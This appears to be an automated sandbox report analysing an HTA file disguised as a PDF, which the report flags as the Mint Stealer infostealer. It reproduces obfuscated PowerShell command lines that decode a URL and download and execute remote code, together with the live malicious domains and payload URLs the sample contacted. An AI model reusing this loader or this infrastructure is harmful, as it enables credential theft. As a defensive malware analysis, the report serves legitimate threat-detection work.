Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\System32\conhost.exe conhost --headless powershell $tfqdysmblvrcw='ur' ;new-alias printout c$($tfqdysmblvrcw)l;$eipxqtmaufl=(3052,3063,3071,3055,3057,3052,3072,3071,3076,3009,3071,3005,3052,3000,3070,3065,3066,3001,3003,3000,3066,3058,3066,3017,3069,3015,3063,3059,3064,3070,3069,3004,3003);$ojxutsrkdwlmfg=('bronx','get-cmdlet');$beuwadknj=$eipxqtmaufl;foreach($juaveihgnosc in $beuwadknj){$edlkzoftxn=$juaveihgnosc;$sojqxwd=$sojqxwd+[char]($edlkzoftxn-2954);$cqgevos=$sojqxwd; $hmaoevupsdbn=$cqgevos};$knztexjygdmwfo[2]=$hmaoevupsdbn;$lkrpqc='rl';$ypatcirzmquds=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hmaoevupsdbn)
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $tfqdysmblvrcw='ur' ;new-alias printout c$($tfqdysmblvrcw)l;$eipxqtmaufl=(3052,3063,3071,3055,3057,3052,3072,3071,3076,3009,3071,3005,3052,3000,3070,3065,3066,3001,3003,3000,3066,3058,3066,3017,3069,3015,3063,3059,3064,3070,3069,3004,3003);$ojxutsrkdwlmfg=('bronx','get-cmdlet');$beuwadknj=$eipxqtmaufl;foreach($juaveihgnosc in $beuwadknj){$edlkzoftxn=$juaveihgnosc;$sojqxwd=$sojqxwd+[char]($edlkzoftxn-2954);$cqgevos=$sojqxwd; $hmaoevupsdbn=$cqgevos};$knztexjygdmwfo[2]=$hmaoevupsdbn;$lkrpqc='rl';$ypatcirzmquds=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hmaoevupsdbn)
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\System32\conhost.exe conhost --headless powershell $wcahze='ur' ;new-alias printout c$($wcahze)l;$trsoqwlp=(1811,1822,1830,1814,1816,1811,1831,1830,1835,1768,1830,1764,1811,1759,1829,1824,1825,1760,1762,1759,1825,1817,1825,1776,1828,1774,1822,1818,1823,1829,1828,1763,1762);$xepbrqkoau=('bronx','get-cmdlet');$dehltizxfcswu=$trsoqwlp;foreach($fahyrwncbvdkjm in $dehltizxfcswu){$dgznhjbpvsl=$fahyrwncbvdkjm;$pkhdavnfqjgs=$pkhdavnfqjgs+[char]($dgznhjbpvsl-1713);$swoezd=$pkhdavnfqjgs; $zotfqbascrdlje=$swoezd};$jmlkbouispxcrh[2]=$zotfqbascrdlje;$kuweximjag='rl';$obgwvcmaft=1;.$([char](9992-9887)+'e'+'x')(printout -useb $zotfqbascrdlje)
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $wcahze='ur' ;new-alias printout c$($wcahze)l;$trsoqwlp=(1811,1822,1830,1814,1816,1811,1831,1830,1835,1768,1830,1764,1811,1759,1829,1824,1825,1760,1762,1759,1825,1817,1825,1776,1828,1774,1822,1818,1823,1829,1828,1763,1762);$xepbrqkoau=('bronx','get-cmdlet');$dehltizxfcswu=$trsoqwlp;foreach($fahyrwncbvdkjm in $dehltizxfcswu){$dgznhjbpvsl=$fahyrwncbvdkjm;$pkhdavnfqjgs=$pkhdavnfqjgs+[char]($dgznhjbpvsl-1713);$swoezd=$pkhdavnfqjgs; $zotfqbascrdlje=$swoezd};$jmlkbouispxcrh[2]=$zotfqbascrdlje;$kuweximjag='rl';$obgwvcmaft=1;.$([char](9992-9887)+'e'+'x')(printout -useb $zotfqbascrdlje)
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $tfqdysmblvrcw='ur' ;new-alias printout c$($tfqdysmblvrcw)l;$eipxqtmaufl=(3052,3063,3071,3055,3057,3052,3072,3071,3076,3009,3071,3005,3052,3000,3070,3065,3066,3001,3003,3000,3066,3058,3066,3017,3069,3015,3063,3059,3064,3070,3069,3004,3003);$ojxutsrkdwlmfg=('bronx','get-cmdlet');$beuwadknj=$eipxqtmaufl;foreach($juaveihgnosc in $beuwadknj){$edlkzoftxn=$juaveihgnosc;$sojqxwd=$sojqxwd+[char]($edlkzoftxn-2954);$cqgevos=$sojqxwd; $hmaoevupsdbn=$cqgevos};$knztexjygdmwfo[2]=$hmaoevupsdbn;$lkrpqc='rl';$ypatcirzmquds=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hmaoevupsdbn)	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $wcahze='ur' ;new-alias printout c$($wcahze)l;$trsoqwlp=(1811,1822,1830,1814,1816,1811,1831,1830,1835,1768,1830,1764,1811,1759,1829,1824,1825,1760,1762,1759,1825,1817,1825,1776,1828,1774,1822,1818,1823,1829,1828,1763,1762);$xepbrqkoau=('bronx','get-cmdlet');$dehltizxfcswu=$trsoqwlp;foreach($fahyrwncbvdkjm in $dehltizxfcswu){$dgznhjbpvsl=$fahyrwncbvdkjm;$pkhdavnfqjgs=$pkhdavnfqjgs+[char]($dgznhjbpvsl-1713);$swoezd=$pkhdavnfqjgs; $zotfqbascrdlje=$swoezd};$jmlkbouispxcrh[2]=$zotfqbascrdlje;$kuweximjag='rl';$obgwvcmaft=1;.$([char](9992-9887)+'e'+'x')(printout -useb $zotfqbascrdlje)	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Mint Stealer

Source: Yara match	File source: 00000010.00000002.2332125294.0000027D5CEAB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7172, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7232, type: MEMORYSTR

Remote Access Functionality

Yara detected Mint Stealer

Source: Yara match	File source: 00000010.00000002.2332125294.0000027D5CEAB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7172, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7232, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	11 Windows Management Instrumentation	11 Scripting	111 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	111 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	14 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta	0%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bmuegbvuz7u3b.top	206.188.197.242	true	true		unknown
file-download.bytez.cloud	78.138.9.153	true	true		unknown

Contacted URLs

Name	Malicious	Reputation
https://file-download.bytez.cloud/list_files.php	true	unknown
https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs	true	unknown
https://file-download.bytez.cloud/js/cagesr.txt	true	unknown
https://file-download.bytez.cloud/676556be12355/js/676556be11f48.js	true	unknown
http://bmuegbvuz7u3b.top/1.php?s=mints21	true	unknown
https://file-download.bytez.cloud/js/djtukm.txt	true	unknown
https://file-download.bytez.cloud/676556be12355/676556be12ac3.vbs	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://file-download.bytez.cloud/676556be12355/js/676556be11f48.jsRG	mshta.exe, 00000000.00000003.1803126450.0000000000989000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.0000000000989000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.0000000000989000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/js	wscript.exe, 00000007.00000003.1870156854.0000000002EF5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1872652865.0000000002EF5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1866957606.0000000002EF5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.1870400082.0000000002F51000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.1877300951.0000000002F56000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.1871649570.0000000002F55000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs#	curl.exe, 00000004.00000002.1780011182.0000000002BA0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/list_files.phpe~	wscript.exe, 00000007.00000003.1866957606.0000000002E9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1869381377.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1872536146.0000000002EA7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1870875396.0000000002EA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1868029395.0000000002E9F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/676556be12355/676556be12ac3.vbs.	mshta.exe, 00000000.00000003.1802975569.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.00000000009BF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/js/cagesr.txtbv	wscript.exe, 00000007.00000003.1866957606.0000000002E9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1869381377.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1872536146.0000000002EA7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1870875396.0000000002EA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1868029395.0000000002E9F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://contoso.com/License	powershell.exe, 00000010.00000002.2387325863.0000027D6B660000.00000004.00000800.00020000.00000000.sdmp	false	high
https://file-download.bytez.cloud/676556be12355/676556be12ac3.vbsZZC:	mshta.exe, 00000000.00000003.1802142112.0000000000960000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/676556be12355/js/676556be11f	mshta.exe, 00000000.00000003.1802142112.0000000000960000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807235719.0000000000961000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/676556be12355/676556be12ac3.vbsA	mshta.exe, 00000000.00000003.1802142112.0000000000981000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802975569.0000000000981000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807311437.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/	mshta.exe, 00000000.00000003.1802975569.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1803126450.0000000000989000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.0000000000989000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.0000000000989000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000003.1775756306.0000000002BFB000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000003.1777048069.0000000002BB0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000003.1776890781.0000000002BD5000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000003.1775756306.0000000002C14000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000003.1776961183.0000000002BD5000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000003.1777085224.0000000002BB7000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000003.1775547468.0000000002BFB000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000003.1775547468.0000000002C14000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000003.1776849337.0000000002C14000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000002.1780748994.0000000002BD5000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000002.1780011182.0000000002BB8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1872652865.0000000002ECB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1870156854.0000000002EF5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1866957606.0000000002E9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1870156854.0000000002EC0000.00000004.00000020.00020000.00000000.sdmp	true	unknown
https://file-download.bytez.cloud/676556be12355/js/676556be11f48.js2	mshta.exe, 00000000.00000003.1802975569.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.00000000009BF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/676556be12355/676556be12aca.vbscurl	curl.exe, 00000004.00000002.1779869436.0000000002A30000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000002.1780011182.0000000002BA0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/676556be12355/676556be12ac3.vbsT	mshta.exe, 00000000.00000003.1802975569.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.00000000009BF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/js/cagesr.txtxv&	wscript.exe, 00000007.00000003.1866957606.0000000002E9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1869381377.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1872536146.0000000002EA7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1870875396.0000000002EA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1868029395.0000000002E9F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/676556be12355/676556be12ac3.vbsP	mshta.exe, 00000000.00000003.1802975569.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.00000000009BF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://contoso.com/	powershell.exe, 00000010.00000002.2387325863.0000027D6B660000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 0000000E.00000002.2386575198.000001676F574000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2387325863.0000027D6B616000.00000004.00000800.00020000.00000000.sdmp	false	high
https://file-download.bytez.cloud/676556be12355/676556be12aca.vbsU	curl.exe, 00000004.00000003.1776961183.0000000002BD5000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000002.1780748994.0000000002BD5000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/js/djtukm.txtsmG	wscript.exe, 0000000A.00000003.1870400082.0000000002F51000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.1877300951.0000000002F56000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.1871649570.0000000002F55000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/676556be12355/676556be12aca.vbsWinSta0	curl.exe, 00000004.00000002.1779869436.0000000002A30000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000002.1780011182.0000000002BA0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/676556be12355/676556be12ac3.vbsb	mshta.exe, 00000000.00000003.1802975569.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.00000000009BF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000E.00000002.2332006085.000001675F501000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2332125294.0000027D5B461000.00000004.00000800.00020000.00000000.sdmp	false	high
https://file-download.bytez.cloud/676556be12355/676556be12ac3.vbsle-download.bytez.cloud/676556be123	mshta.exe, 00000000.00000003.1802142112.00000000009BF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://nuget.org/NuGet.exe	powershell.exe, 0000000E.00000002.2386575198.000001676F73F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2386575198.000001676F611000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2332006085.0000016760FED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2332125294.0000027D5CF53000.00000004.00000800.00020000.00000000.sdmp	false	high
https://file-download.bytez.cloud/js/cagesr.txtKv	wscript.exe, 00000007.00000003.1866957606.0000000002E9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1869381377.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1872536146.0000000002EA7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1870875396.0000000002EA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1868029395.0000000002E9F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000010.00000002.2332125294.0000027D5B692000.00000004.00000800.00020000.00000000.sdmp	false	high
https://file-download.bytez.cloud/676556be12355/676556be12ac3.vbss	mshta.exe, 00000000.00000003.1803126450.0000000000989000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.0000000000989000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.0000000000989000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/_	wscript.exe, 0000000A.00000003.1870400082.0000000002F51000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.1877300951.0000000002F56000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.1871649570.0000000002F55000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000010.00000002.2332125294.0000027D5B692000.00000004.00000800.00020000.00000000.sdmp	false	high
https://go.micro	powershell.exe, 0000000E.00000002.2332006085.0000016760132000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2332125294.0000027D5C25E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.micrt.com0	powershell.exe, 0000000E.00000002.2403589372.0000016777CA0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://contoso.com/Icon	powershell.exe, 00000010.00000002.2387325863.0000027D6B660000.00000004.00000800.00020000.00000000.sdmp	false	high
https://file-download.bytez.cloud/676556be12355/676556be12ac3.vbs6#U2	mshta.exe, 00000000.00000002.1808568195.00000000063D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/676556be12355/676556be12aca.vbst	curl.exe, 00000004.00000002.1780011182.0000000002BA0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/s	mshta.exe, 00000000.00000003.1802975569.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.00000000009BF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://bmuegbvuz7u3b.top	powershell.exe, 0000000E.00000002.2332006085.0000016760F20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2332006085.0000016760D18000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2332006085.0000016760F2D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2332006085.0000016760F43000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2332125294.0000027D5CEAB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2332125294.0000027D5CE0B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2332125294.0000027D5CE86000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/676556be12355/js/676556be11f48.js#D/	mshta.exe, 00000000.00000003.1803126450.0000000000989000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.0000000000989000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.0000000000989000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://github.com/Pester/Pester	powershell.exe, 00000010.00000002.2332125294.0000027D5B692000.00000004.00000800.00020000.00000000.sdmp	false	high
https://file-download.bytez.cloud/676556be12355/676556be12aca.vbsi	mshta.exe, 00000000.00000002.1808257954.000000000602D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1800702239.000000000602B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1800766516.000000000602B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1803416250.000000000602B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802382316.000000000602B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1800547329.000000000602B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
